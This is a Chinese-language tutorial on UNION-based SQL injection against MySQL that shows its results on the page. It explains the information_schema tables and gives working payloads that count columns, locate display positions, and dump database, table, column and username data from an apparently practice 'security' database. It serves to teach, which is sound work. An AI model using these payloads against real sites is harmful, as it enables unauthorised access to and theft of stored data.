SQL注入-有回顯的注入

1.MySQL相關

在MySQL 5+版本後,加入了information_schema這個庫,該庫存放了所有數據庫的信息

information_schema.columns包含所有表的字段

    字段
    table_schema                數據庫名
    table_name                  表名
    column_name                 列名

information_schema.tables包含所有庫的表名

    字段
    table_schema                數據庫名
    table_name                  表名

information_schema.schemata包含所有數據庫的名

    字段
    schema_name                 數據庫名

2.有回顯的SQL注入

執行SQL查詢,其結果能回顯到頁面中,那麼可直接進行有回顯的SQL注入

  • 查詢語句
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
  • 判斷字段數
    ?id=1' ORDER BY 3--+
  • 判斷顯示位
    ?id=-1' UNION SELECT 1,2,3--+
  • 利用函數獲得信息
    ?id=-1 UNION SELECT 1,(version()),3--+
  • 爆庫
?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT來定位查詢,一個一個爆數據庫
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+          //用group_concat()實現一個顯示位爆出該字段下所有記錄
  • 爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+
  • 爆字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+
  • 爆數據
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章